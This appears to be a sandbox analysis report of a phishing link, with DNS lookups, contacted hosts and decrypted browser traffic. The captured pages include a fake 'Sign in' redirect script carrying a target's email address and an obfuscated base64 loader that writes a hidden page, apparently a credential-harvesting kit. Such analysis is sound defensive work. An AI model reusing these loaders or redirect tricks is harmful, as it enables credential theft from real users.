Mar 17, 2025 21:55:11.676757097 CET	1.1.1.1	192.168.2.16	0x4395	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.007392883 CET	1.1.1.1	192.168.2.16	0xb77c	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.041338921 CET	1.1.1.1	192.168.2.16	0xd1a4	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 21:55:13.070334911 CET	1.1.1.1	192.168.2.16	0x5a92	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 21:55:13.070334911 CET	1.1.1.1	192.168.2.16	0x5a92	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.68	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.070334911 CET	1.1.1.1	192.168.2.16	0x5a92	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.120	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.070334911 CET	1.1.1.1	192.168.2.16	0x5a92	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:13.070334911 CET	1.1.1.1	192.168.2.16	0x5a92	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.96	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:14.041008949 CET	1.1.1.1	192.168.2.16	0x99e1	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:14.041008949 CET	1.1.1.1	192.168.2.16	0x99e1	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:14.041008949 CET	1.1.1.1	192.168.2.16	0x99e1	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:14.041008949 CET	1.1.1.1	192.168.2.16	0x99e1	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:17.419023991 CET	1.1.1.1	192.168.2.16	0x4a32	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 21:55:17.434451103 CET	1.1.1.1	192.168.2.16	0xf0fa	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 21:55:17.434451103 CET	1.1.1.1	192.168.2.16	0xf0fa	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.96	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:17.434451103 CET	1.1.1.1	192.168.2.16	0xf0fa	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.120	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:17.434451103 CET	1.1.1.1	192.168.2.16	0xf0fa	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.68	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:17.434451103 CET	1.1.1.1	192.168.2.16	0xf0fa	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:18.795928955 CET	1.1.1.1	192.168.2.16	0x8777	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:18.795928955 CET	1.1.1.1	192.168.2.16	0x8777	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:18.795928955 CET	1.1.1.1	192.168.2.16	0x8777	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:18.797045946 CET	1.1.1.1	192.168.2.16	0x5bbc	No error (0)	get.geojs.io			65	IN (0x0001)	false
Mar 17, 2025 21:55:19.428750992 CET	1.1.1.1	192.168.2.16	0x7b59	No error (0)	get.geojs.io		104.26.1.100	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.428750992 CET	1.1.1.1	192.168.2.16	0x7b59	No error (0)	get.geojs.io		172.67.70.233	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.428750992 CET	1.1.1.1	192.168.2.16	0x7b59	No error (0)	get.geojs.io		104.26.0.100	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.429855108 CET	1.1.1.1	192.168.2.16	0xb70b	No error (0)	get.geojs.io			65	IN (0x0001)	false
Mar 17, 2025 21:55:19.447571039 CET	1.1.1.1	192.168.2.16	0x4775	No error (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es		104.21.49.96	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.447571039 CET	1.1.1.1	192.168.2.16	0x4775	No error (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es		172.67.189.188	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:19.473191023 CET	1.1.1.1	192.168.2.16	0xb3a3	No error (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es			65	IN (0x0001)	false
Mar 17, 2025 21:55:20.503205061 CET	1.1.1.1	192.168.2.16	0x142f	No error (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es		104.21.49.96	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:20.503205061 CET	1.1.1.1	192.168.2.16	0x142f	No error (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es		172.67.189.188	A (IP address)	IN (0x0001)	false
Mar 17, 2025 21:55:20.507981062 CET	1.1.1.1	192.168.2.16	0x5228	No error (0)	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es			65	IN (0x0001)	false
Mar 17, 2025 21:56:11.684662104 CET	1.1.1.1	192.168.2.16	0x9fec	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

xfeoii3kbm.woofradio.cfd

grupomarina.brightnexst.ru

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

developers.cloudflare.com

xoq7.qakaco.ru

github.com

ok4static.oktacdn.com

objects.githubusercontent.com

get.geojs.io

5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49699	104.21.2.147	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:54:59 UTC	1085	OUT	GET /8aF18c0N2CFbzCTcnC9dgBRsTPqgJHosieM4AfhPW0xfPX2eeciO211xYhM0xGUkwGUOoh4IvF3ZPcaD4TPZKiK82JYCYMTzbWRx33HFHsB2HZJgoelAJ9OHcyXYhSv2b4snjE0bGGsx1RQwtLZsb89T05LuiQaXEc9KIeYyXY9i9AkWnvTxHNq2RnYeMDlmw1AoOs54/YIwMRE5gwuQ2zFZXpZePC1d6JvR8UnaSyC28RNwjYQ2x6AJ3tVFbOjnL3Jjrq5OAPeOVsVhG8rpbVvDMM431NF6drmD5nCYhmRLNPBV491yoAqHcTFohgjfRtlhA8j39Ntt588ilQZr1SKngEgmbxe7oHVZMB0huT9so8f8UZb40zdENVSZ0SvQCOMzkctlE1yCXhk2Y/ssalazar@grupomarina.cl HTTP/1.1 Host: xfeoii3kbm.woofradio.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:54:59 UTC	869	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:54:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 17 Mar 2025 19:23:25 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qa%2F%2BPcDL%2B6Xvk1QKsFgYhjTXLnKrpSress7F7L%2F1W87Bblt%2BxdBVGiXhUj9bDZtct3EPz%2BFPzk2PdnG%2F6Dl8skhSyJui2c75BBZgn4HcMqk8dK%2BZ7%2BH8BRnfcqNFADquSqxR4%2FO%2Bc3KguvU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f637d482772b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2014&rtt_var=770&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1679&delivery_rate=1407907&cwnd=180&unsent_bytes=0&cid=6c093d425229f9db&ts=308&x=0"
2025-03-17 20:54:59 UTC	500	IN	Data Raw: 38 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 67 65 6e 65 72 61 74 65 20 72 61 6e 64 6f 6d 20 61 6c 70 68 61 6e 75 6d 65 72 69 63 20 63 68 61 72 61 63 74 65 72 Data Ascii: 813<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sign in</title> <script> // Function to generate random alphanumeric character
2025-03-17 20:54:59 UTC	1369	IN	Data Raw: 65 73 75 6c 74 20 2b 3d 20 63 68 61 72 61 63 74 65 72 73 2e 63 68 61 72 41 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 20 2a 20 63 68 61 72 61 63 74 65 72 73 2e 6c 65 6e 67 74 68 29 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 72 65 73 75 6c 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 65 78 74 72 61 63 74 20 73 75 62 64 6f 6d 61 69 6e 20 66 72 6f 6d 20 65 6d 61 69 6c 20 28 62 65 74 77 65 65 6e 20 40 20 61 6e 64 20 2e 29 0d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 72 61 63 74 53 75 62 64 6f 6d 61 69 6e 28 65 6d 61 69 6c 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: esult += characters.charAt(Math.floor(Math.random() * characters.length)); } return result; } // Function to extract subdomain from email (between @ and .) function extractSubdomain(email) {
2025-03-17 20:54:59 UTC	205	IN	Data Raw: 65 78 73 74 2e 72 75 2f 70 61 78 36 6c 66 31 2f 23 24 7b 72 61 6e 64 6f 6d 53 74 72 69 6e 67 31 7d 24 7b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 76 61 6c 75 65 29 7d 60 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 52 65 64 69 72 65 63 74 20 74 6f 20 74 68 65 20 6e 65 77 20 55 52 4c 20 69 6e 73 74 61 6e 74 6c 79 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 6e 65 77 55 72 6c 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: exst.ru/pax6lf1/#${randomString1}${encodeURIComponent(value)}`; // Redirect to the new URL instantly window.location.href = newUrl; </script></head><body></body></html>
2025-03-17 20:54:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49710	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:00 UTC	714	OUT	GET /pax6lf1/ HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://xfeoii3kbm.woofradio.cfd/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:02 UTC	1206	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jG4IZ2i4ANZQehhco9MGZjoSVz2zkxC%2FHOwxoBO61HObYY7W1qPeeoZIdmtVvJ63iaB4U45anzqE%2Bn8sBaCST%2B%2BDLoZdBtEhE6k4ESWmA1f41SXl0Br9MNzUhEy7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1435&min_rtt=1219&rtt_var=531&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1616&delivery_rate=2343042&cwnd=251&unsent_bytes=0&cid=9180819aefde9594&ts=117&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InRLOEtjTVhIWUcrNGFaY0NYYmg4T0E9PSIsInZhbHVlIjoidE5lQ1dTM1A0NkNHbGV5ajZjVzViTzVxbDgybVpsWlFHc09FaHFLaTZwY3hFUml3ZFJKWldJcEhkS0RIMzE4dVZVTjZ2OVg0Zzg2dWM1SlZRdzFWMW5ucW9YM0pqczFCVVc5ekJrTzJDRGU3SlNuUjBkYmFJR0hCcmFpY0lGQzUiLCJtYWMiOiIxYTBiZjkwYTVjYmM3Yzk4Zjc1ODc1ZjQyYWRlYWQ5MGI1ODM3ZjQwMGJhZmY1MWY0M2ZhMGYzNmRhY2ZkYjJlIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 22:55:01 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 20:55:02 UTC	763	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 78 4d 56 58 70 58 62 6d 63 30 55 31 4e 30 57 54 52 54 63 31 4e 47 62 46 70 70 55 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 31 4e 6f 51 58 46 42 56 47 52 35 59 6e 64 35 53 56 70 59 62 48 4e 57 4d 32 35 45 57 6b 68 51 64 45 46 42 63 56 4e 79 55 30 52 68 57 45 78 54 64 47 5a 33 62 46 6b 76 65 6b 52 7a 4e 30 55 72 63 44 56 32 63 47 4a 79 4e 44 4a 53 62 58 6c 36 52 79 74 77 55 57 78 68 65 6a 56 58 63 55 63 76 57 55 63 31 54 7a 42 70 63 47 4a 6b 64 33 64 54 5a 31 68 73 4d 6b 68 4d 63 54 68 7a 64 57 4e 6f 4f 55 64 70 54 57 4a 6f 56 32 74 43 4c 7a 4e 55 59 57 39 4d 52 46 5a 4c 55 33 56 34 4e 55 78 34 52 6b 39 32 65 6b 64 7a 56 45 38 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkxMVXpXbmc0U1N0WTRTc1NGbFppUUE9PSIsInZhbHVlIjoia1NoQXFBVGR5Ynd5SVpYbHNWM25EWkhQdEFBcVNyU0RhWExTdGZ3bFkvekRzN0UrcDV2cGJyNDJSbXl6RytwUWxhejVXcUcvWUc1TzBpcGJkd3dTZ1hsMkhMcThzdWNoOUdpTWJoV2tCLzNUYW9MRFZLU3V4NUx4Rk92ekdzVE8
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 4e 6d 46 69 56 45 72 6a 41 66 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 77 56 79 35 69 63 6d 6c 6e 61 48 52 75 5a 58 68 7a 64 43 35 79 64 53 39 77 59 58 67 32 62 47 59 78 4c 77 3d 3d 22 29 3b 0a 78 45 4e 4d 6b 6d 78 48 46 57 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 43 4c 43 59 74 4f 6c 55 4a 55 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 4e 6d 46 69 56 45 72 6a 41 66 20 3d 3d 20 78 45 4e 4d 6b 6d 78 48 46 57 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 43 4c 43 59 74 4f 6c 55 4a 55 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 7ff9<script>NmFiVErjAf = atob("aHR0cHM6Ly8wVy5icmlnaHRuZXhzdC5ydS9wYXg2bGYxLw==");xENMkmxHFW = atob("bm9tYXRjaA==");CLCYtOlUJU = atob("d3JpdGU=");if(NmFiVErjAf == xENMkmxHFW){document[CLCYtOlUJU](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk4
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 Data Ascii: k44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g77
